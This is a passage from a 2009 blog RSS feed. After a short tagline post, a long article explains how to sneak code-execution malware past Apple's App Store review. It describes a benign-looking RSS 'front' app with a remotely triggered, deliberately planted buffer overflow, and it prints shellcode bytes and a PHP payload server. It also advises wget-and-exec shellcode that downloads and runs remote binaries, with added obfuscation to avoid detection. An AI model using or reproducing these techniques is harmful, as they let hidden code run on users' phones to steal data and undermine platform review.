<p>pǝɥsılqnd ǝlɔıʇɹɐ ʇsɹıɟ s,3ʇɹǝ ɹoɥʇnɐ &#8216;ʇuǝɯɯoɔ ɯɐds-uou ʇsɹıɟ :51 ɹǝqɯǝʇdǝs</p>
<p> ˙pǝʇɐǝɹɔ sı ǝƃɐd &#8220;sn ʇnoqɐ&#8221; ǝɥʇ puɐ ǝlɔıʇɹɐ ʇsɹıɟ ˙(ʞɔɐq puɐ llǝɥ oʇ pǝʞɔɐɥ puɐ) pǝllɐʇsuı ssǝɹdpɹoʍ &#8216;dn ʇǝs ɹǝʌɹǝs qǝʍ &#8216;pǝsɐɥɔɹnd sı ǝɯɐu uıɐɯop ˙ǝʇısqǝʍ sʍǝu ʞǝǝƃ ɐ ʇɹɐʇs oʇ sǝpıɔǝp puɐ pǝɹoq sı ǝlıƃɹɐɔ ʎuoɥʇuɐ :41 ɹǝqɯǝʇdǝs</p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/08/16/100th-post/" rel="bookmark">ʇsod ɥʇ001 ɹno ƃuıʇɐɹqǝlǝɔ</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on August 16, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/08/16/100th-post/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Coffee Desk Taglines</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/08/07/motto/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/08/07/motto/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 05:00:21 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[The Coffee Desk]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Web design]]></category>
		<category><![CDATA[FYI]]></category>
		<category><![CDATA[motto]]></category>
		<category><![CDATA[tagline]]></category>
		<category><![CDATA[update]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=888</guid>
		<description><![CDATA[Some of you may have noticed that we started putting a &#8220;motto&#8221; (technically a tagline) at the top of the website, just under the logo.

It&#8217;s honestly nothing but a snarky one-line commentary that usually reflects something the last few recent articles discuss. For example, the first motto was, &#8220;Pissing off both Nintendo and Microsoft Fanboys [...]]]></description>
			<content:encoded><![CDATA[<p>Some of you may have noticed that we started putting a &#8220;motto&#8221; (technically a tagline) at the top of the website, just under the logo.<br />
<span id="more-888"></span></p>
<p>It&#8217;s honestly nothing but a snarky one-line commentary that usually reflects something the last few recent articles discuss. For example, the first motto was, &#8220;<strong>Pissing off both Nintendo and Microsoft Fanboys everywhere! </strong>&#8221; because the two most recent stories at the time were <a href="http://thecoffeedesk.com/news/index.php/2009/08/07/internet-exploiter/" title="Microsoft fanboys...">this</a> and <a href="http://thecoffeedesk.com/news/index.php/2009/08/07/zelda-spirit-tracks-review/" title="...and the Nintendo fanboys">this</a>. </p>
<p>They don&#8217;t mean anything; just a bit of humor to go where most sites usually put a tagline of some sort, or as a parody of the &#8220;<strong><a href="http://thecoffeedesk.com/news/index.php/2009/06/23/what-you-need-when-you-need-it/" title="What you need when you need it">what you need, when you need it</a></strong>&#8221; cybersquatter tagline. </p>
<p>Don&#8217;t be offended by any of them &#8211; this isn&#8217;t a general &#8220;motto complaints page&#8221;, although I&#8217;m always ready to hear feedback. They also sporadically change from time to time &#8211; nothing is static. </p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/08/07/motto/" rel="bookmark">The Coffee Desk Taglines</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on August 7, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/08/07/motto/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>iPhone Background Apps Without Jailbreaking Or Push</title>
		<link>http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/</link>
		<comments>http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/#comments</comments>
		<pubDate>Thu, 06 Aug 2009 17:25:22 +0000</pubDate>
		<dc:creator>Anthony</dc:creator>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[advanced]]></category>
		<category><![CDATA[ARM]]></category>
		<category><![CDATA[daemon]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[iPhone]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=849</guid>
		<description><![CDATA[This is an experimental way to accomplish the implementation of a background app/daemon on an Apple iPhone. As of this writing, the iPhone SDK does not allow the development of &#8220;true&#8221; Unix-style background processes (daemons) within the iPhone OS (which itself is based on Darwin Unix).
This method includes some advanced programming topics, such as shellcode [...]]]></description>
			<content:encoded><![CDATA[<p>This is an experimental way to accomplish the implementation of a <strong>background app/daemon on an Apple iPhone</strong>. As of this writing, the <strong>iPhone SDK</strong> does not allow the development of &#8220;true&#8221; Unix-style background processes (<strong>daemons</strong>) within the iPhone OS (<strong><a href="http://thecoffeedesk.com/news/index.php/2009/07/20/iphone-firmware-definition/" title="iPhone OS firmware is Unix">which itself is based on Darwin Unix</a></strong>).</p>
<p>This method includes some <strong>advanced programming topics</strong>, such as <strong>shellcode</strong> and therefore requires some basic assembly experience, <strong>Unix system call</strong> knowledge, and optimally some <strong>ARM</strong> experience.<br />
<span id="more-849"></span></p>
<p><strong>Obligatory Disclaimer</strong></p>
<p>This is a theory and therefore only published for experimental purposes &#8211; don&#8217;t actually implement any of these methods unless you have money for a lawyer or otherwise wish to royally piss off Apple. I&#8217;m not responsible if you break something. </p>
<p><em>If you don&#8217;t know what you&#8217;re doing, then don&#8217;t do it.</em></p>
<p><strong>Overview</strong></p>
<p>Right. With the disclaimer out of the way, let&#8217;s talk about what exactly we want to accomplish and the obstacles we face in trying to do this:</p>
<ul>
<li><strong>Write an app that runs a background app/daemon on the iPhone</strong></li>
<li><strong>Avoid detection by Apple via code obfuscation</strong></li>
<li><strong>Get the app on the app store</strong></li>
<li><strong>&#8230;and don&#8217;t get sued in the process</strong></li>
</ul>
<p><strong>Don&#8217;t Get Caught</strong></p>
<p>Running a background daemon in any Unix-based OS is not very hard, but trying to do it on Apple&#8217;s beloved (and thoroughly locked-down) iPhone OS without jailbreaking it first is going to be difficult without some fancy code obfuscation. </p>
<p>But, that said, there is a will and there is a way. </p>
<p><strong>The Basic Example</strong></p>
<p>So let&#8217;s say we want a background app that (for the sake of example) logs the time and date to a file every hour on the hour, even while running another app in the foreground. We&#8217;ll call it &#8220;Logger&#8221;, because I lack nomenclature creativity.</p>
<p>The aim for the app is to run in the background and log to a text file, presumably stored within the default Logger.app directory. But, Apple frowns on running apps in the background, so this is where creativity and psychology comes into play. </p>
<p>We know what we want to do, but we don&#8217;t want <em>Apple</em> to know what we want to do. So before we go any further, let&#8217;s talk about what Apple sees when they review the app.</p>
<p><strong>Knowing What Apple Is Looking For</strong></p>
<p>When you upload your application to Apple via iTunes connect and it&#8217;s &#8220;in review&#8221;, Apple tears the app apart. </p>
<p>I&#8217;m talking disassembly, I/O monitoring, CPU usage monitoring, and detailed network analysis. They will know every Darwin/Mach system call your application is making, and the conditional logic behind them. </p>
<p>(For a detailed diagram of how these compare with the iPhone SDK and the Objective-C runtime, refer to <strong><a href="http://thecoffeedesk.com/news/index.php/2009/05/17/iphone-architecture/" title="iPhone OS Architecture">this post</a></strong> by yours truly, which provides a detailed overview of the iPhone architecture.)</p>
<p>So putting any of your daemon&#8217;s desired background code within your app as it goes up for review is a bad idea. The system calls and nature of the code will surely raise a red flag during review and they&#8217;ll pull the app (and note the action on your developer profile).</p>
<p>But, with a little trickery, we can still get the app to pass through Apple as &#8220;legit&#8221; while accomplishing what we wish to after app approval. </p>
<p><strong>The Front</strong></p>
<p>If we just submit a raw-dog app that does nothing but loop a function that looks suspiciously like a daemon, even all the obfuscation in the world won&#8217;t hide what we&#8217;re trying to get away with. </p>
<p>Furthermore, it would not be a &#8220;true&#8221; background process since the app terminates itself to yield to others eventually upon the press of the menu button (effectively killing all execution and child processes).</p>
<p>So, let&#8217;s introduce a &#8220;front&#8221;. Ever watched the Godfather or a similar mafia movie? Fronts were those small businesses that were merely a legitimate-looking, money-laundering front to a gambling or alcohol racket. And that&#8217;s exactly what this app needs to be in order to hide what&#8217;s really going on behind the scenes.</p>
<p>The &#8220;front&#8221; in our app will be a web view and RSS feed client. We&#8217;re going to make it look like our app simply displays a simple web view that follows a link from an RSS feed, with some custom logos around it and all to make it look legit. Simple enough, right?</p>
<p><strong>The Switch</strong></p>
<p>So our app currently appears to be a simple RSS client that opens up a web view from the news feed of our website. And that&#8217;s exactly what it will do, until we make the &#8220;switch&#8221; for it to do what we intended for it to do all along. </p>
<p>The &#8220;trigger&#8221; for this is relatively simple: within the RSS client, put in a conditional that appears along the lines of this pseudo-code:</p>
<pre><code markup="none">
if (RSS feed is a redirect to /error.php) { // error.php is our remote and malicious script
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// code to make the switch, detailed below
return;
}
// "else" continue happily as the simpleton RSS/UIWebView app
</code></pre>
<p>The aim here is this: after Apple approves the simple RSS client app and it hits the store, we can manually redirect the RSS feed to /error.php, thus satisfying the condition and making the switch.</p>
<p>Leaving out the <strong>else</strong> makes it less obvious that we&#8217;re changing the course of the app if the condition is satisfied, with the <em>return</em> statement doing the <em>else</em>&#8217;s job just the same (and obfuscated at the assembly level). </p>
<p>The unused NSString within the satisfied error conditional is to make it look like we&#8217;re going to really handle an error, as Apple would see it during the inspection process.</p>
<p>So, how do we do this almighty &#8220;switch&#8221;? This is the tricky part&#8230;</p>
<p><strong>Implementing The Switch</strong></p>
<p>Switching from a &#8220;dumb&#8221; RSS reader to the initialization of a Unix daemon is no easy task to hide from Apple, so we have to get really creative. The solution is to use <strong><a href="http://en.wikipedia.org/wiki/Shellcode" title="Wikipedia: Shellcode" target="_blank" rel="nofollow">Shellcode</a></strong>, which is a set of executable (ARM) opcodes placed into &#8220;read-only&#8221; buffer and executed. </p>
<p>Refer to <strong><a href="http://www.milw0rm.com/papers/51" title="Shellcode paper" target="_blank">this paper</a></strong> to brush up on shellcode implementation. The opcodes in the guide are for x86, but a cross-compiler would allow easy development of an ARM executable for what you desire.</p>
<p>So we&#8217;d make our /error.php webpage return some ARM opcodes, and &#8220;accidentally&#8221; execute them on the iPhone like this:</p>
<pre><code markup="none">
// beginning where we left off...
if (RSS feed is a redirect to /error.php) {
NSString *fake = [NSString initWithString:@"There's an error"]; // Unused; Look genuine to Apple
// switch code:
char exe[1][BUF]; // Array of C-strings, each of size BUF (defined elsewhere)
exe[0] = http_read('site.com/error.php'); // more on this below
/* appear to do something with exe[0], then: */
        int (*sh)(); // setup shellcode function pointer
        ret = (sh(*)())exe[1]; // *oops*
        (int)(*ret)(); // could even be obfuscated even further; details below
return;
}
</code></pre>
<p>That was the unobfuscated version of what aims to execute code retrieved from our php script, error.php:</p>
<pre><code markup="none">
<?php
/* (this is the script you use AFTER the app's approval; else look legit) */
header('Content-type: octet-stream'); // we're sending bytes
for($i=0;$i<=100;$i++) echo "\0"; // fill up exe[0] first, then:
// echo the desired executable code (this does example does nothing)
echo "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb2\x0e\x59\xb3\x01
\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65
\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a";
// the above code should be deposited into exe[1] (buffer overflow)
exit(0);
?>
</code></pre>
<p>So the error.php that was valid during app review gets changed to the now-malicious script above upon the app&#8217;s deployment on the app store, and the app insecurely reads the octets returned from it into a buffer. The for loop fills up exe[0], then exe[1] gets the executable &#8220;payload&#8221; code that we run on the device. </p>
<p>This can be a shell, the daemon itself, or a downloader for the actual daemon (as I describe below).</p>
<p><strong>How It All Comes Together</strong></p>
<p>The app is published as a generic RSS and UIWebView client, but after app store approval, a change made on the remote server (redirecting the RSS feed to the newly malicious /error.php) makes the iPhone app discreetly execute any code you wish via an obfuscated shellcode trick and an &#8220;accidental&#8221; buffer overflow.</p>
<p>The C code I provided above was not obfuscated enough, and would more than likely raise a red flag for your app during approval. Obfuscate it more with a purposely-insecure sprintf() function misuse or mixing valid and invalid uses of function pointers within your code to mask the switch even more. </p>
<p>Also, if your **exe string gets placed into a read-only stack section of the resulting executable, you may have to do some manual assembly editing and linking.</p>
<p><strong>Shellcode contents</strong></p>
<p>As for the shellcode itself, I recommend this: have error.php provide the shellcode of `wget <some file>` and `exec(<some file>)`, where the file in question is a precompiled ARM executable that you wish to run in the background. </p>
<p>This circumvents having to use any of your daemon&#8217;s code within your app (visible by Apple eyes), and also allows a stealthier way of doing what you want to go unnoticed. </p>
<p>In the case of our &#8220;Logger&#8221; example, the shellcode would download a precompiled ARM executable that does what we want it to do, and the shellcode downloaded from error.php would be the opcode-representation of the following pseudo-code:</p>
<pre><code markup="none">
if(the ARM executable is already present):
execute it // system("./logger &#038;"); <- the '&#038;' is bourne for "background"
else:
download the logger executable from the server and execute it in the background
</code></pre>
<p>Even better, you can change error.php's shellcode to do something else later. Beat the two week app store update review process, doesn't it? <img src='http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><strong>Final Notes</strong></p>
<p>This is a very hackish way to <strong>execute whatever code you want on an iPhone without jailbreaking it</strong> (and even distributing it via the app store!)</p>
<p>Just remember: provide a pretty good front so Apple thinks its a legitimate program, and obfuscate your intentions however you can. Provide real-looking strings that make it look like the "error handler" (A.K.A. "switch" as I called it here) look like a non-malicious piece of code. </p>
<p><strong>Security specialists are going to die when they read this</strong>. This clearly details how to run any code you wish within the background of the iPhone, and even do so via the app store. </p>
<p>So if Johhny Blackhat wants your iCal entries, all he's got to do is write up some shellcode to get it, have a free game on the app store download and execute it while you play his "game".</p>
<p>I wouldn't be surprised if I'm not the first one to think of this, or if people have been doing this already. </p>
<p>The biggest thing is having the ability to change the entire app's execution based on a remote change. This is key in allowing the app to look legit during approval, yet allowing your dirty work to continue once it goes live on the App Store. </p>
<p>And with so many apps out there, nobody at Apple will have time to verify that all of them are legit. </p>
<p>Just remember: I'll take credit for being the first to realize and publish how to implement this, but I don't accept any responsibility for how people use/misue this <img src='http://thecoffeedesk.com/news/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/" rel="bookmark">iPhone Background Apps Without Jailbreaking Or Push</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on August 6, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/08/06/iphone-daemon/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  thecoffeedesk.com/news/index.php/author/anthony/feed/ ) in 0.58760 seconds, on Jul 31st, 2010 at 4:46 am UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on Jul 31st, 2010 at 5:46 am UTC -->